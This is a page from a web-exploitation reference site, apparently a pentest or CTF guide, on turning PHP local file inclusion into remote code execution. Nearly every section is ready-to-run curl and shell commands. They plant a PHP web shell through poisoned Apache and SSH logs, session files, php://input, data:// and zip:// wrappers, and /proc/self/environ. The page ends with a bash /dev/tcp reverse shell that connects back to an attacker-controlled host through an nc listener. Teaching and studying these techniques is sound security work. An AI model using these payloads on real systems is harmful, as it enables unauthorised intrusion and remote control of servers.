# LFI to Remote Code Execution

> Exploit Local File Inclusion vulnerabilities to achieve RCE via log poisoning, PHP wrappers, /proc/self/environ, and session file injection techniques.

- **URL:** https://hackindex.io/services/web/exploitation/file-inclusion/lfi-to-remote-code-execution
- **Path:** HTTP/HTTPS > Exploitation > File Inclusion Exploitation
- **Up:** [File Inclusion Exploitation](https://hackindex.io/services/web/exploitation/file-inclusion.md)
- **Published:** 2026-01-25
- **Updated:** 2026-07-10

Confirmed LFI gives you file read. Getting to code execution requires a file you can both write to and include. The most reliable paths are log poisoning when the web server log is readable, session file injection when sessions are stored on disk, and PHP stream wrappers when the PHP configuration allows them. Confirm [LFI file read](https://hackindex.io/services/web/exploitation/file-inclusion/local-file-inclusion-exploitation) works before attempting any of these.

## LFI to RCE via Log Poisoning

The Apache access log records the User-Agent header verbatim. If the log file is readable via LFI, poison it with a PHP payload in the User-Agent and then include the log to execute it.

First confirm the log is readable:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../var/log/apache2/access.log" | tail -3
# 10.10.14.5 - - [26/Mar/2026:12:00:01] "GET / HTTP/1.1" 200 4823 "-" "curl/7.88"
```

If you see log entries, poison the User-Agent with a PHP web shell:

```bash
curl -sk -A '<?php system($_GET["cmd"]); ?>' http://$TARGET_IP:$PORT/
```

Now trigger execution by including the log with a command parameter:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../var/log/apache2/access.log&cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Other log paths to try if Apache is not the server:

- Nginx: `/var/log/nginx/access.log`
- SSH auth log: `/var/log/auth.log`: poison by attempting SSH with a PHP payload as username
- PHP error log: `/var/log/php_errors.log`

```bash
ssh '<?php system($_GET["cmd"]); ?>'@$TARGET_IP 2>/dev/null; curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../var/log/auth.log&cmd=id"
```

## PHP Session File Injection

PHP session data is stored in files like `/var/lib/php/sessions/sess_SESSIONID`. If user-supplied input is stored in the session without sanitization, inject a PHP payload through a login or profile field, then include the session file.

Create a session and inject via a parameter that reflects into session data:

```bash
curl -sk -c /tmp/cookie.txt http://$TARGET_IP:$PORT/login.php
```

```bash
curl -sk -b /tmp/cookie.txt -d 'username=<?php system($_GET["cmd"]); ?>' http://$TARGET_IP:$PORT/profile.php
```

Extract the session ID from the cookie file and include the session file:

```bash
SESSID=$(grep PHPSESSID /tmp/cookie.txt | awk '{print $NF}'); curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../var/lib/php/sessions/sess_${SESSID}&cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## PHP Stream Wrappers

PHP stream wrappers provide alternative code execution paths that don't require writing to disk. Which ones work depends on PHP configuration.

#### php://input

Sends the POST body as the file to include. Requires `allow_url_include=On`:

```bash
curl -sk -X POST "http://$TARGET_IP:$PORT/index.php?page=php://input&cmd=id" -d '<?php system($_GET["cmd"]); ?>'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

#### data://

Inline execution using a data URI. Requires `allow_url_include=On`:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=data://text/plain,<?php%20system('id');%20?>"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=data://text/plain;base64,$(echo '<?php system($_GET["cmd"]); ?>' | base64 -w0)&cmd=id"
```

#### zip:// / phar://

Requires file upload capability. Upload a zip containing a PHP shell and include it via zip://::

```bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.zip shell.php
curl -sk -F 'file=@shell.zip' http://$TARGET_IP:$PORT/upload.php
curl -sk "http://$TARGET_IP:$PORT/index.php?page=zip://../../uploads/shell.zip%23shell.php&cmd=id"
```

## /proc/self/environ

The environment of the web server process is exposed via /proc/self/environ. If it's readable, inject into the User-Agent header and include the file:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../proc/self/environ" | head -1
# SCRIPT_NAME=/index.php SERVER_NAME=10.10.10.50 HTTP_USER_AGENT=curl/7.88
```

```bash
curl -sk -A '<?php system($_GET["cmd"]); ?>' "http://$TARGET_IP:$PORT/index.php?page=../../proc/self/environ&cmd=id"
```

## Reverse Shell Delivery

Once you have command execution through any of the above methods, get a reverse shell. Set up the listener first:

```bash
nc -lvnp $LPORT
```

```bash
curl -sk -A '<?php system($_GET["cmd"]); ?>' http://$TARGET_IP:$PORT/ && curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../var/log/apache2/access.log" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
```

## References

- [PHP: Stream Wrappers](https://www.php.net/manual/en/wrappers.php) - php://input, data://, zip:// and phar:// wrapper documentation
- [PayloadsAllTheThings: File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion) - LFI to RCE payload collection including log paths and session injection
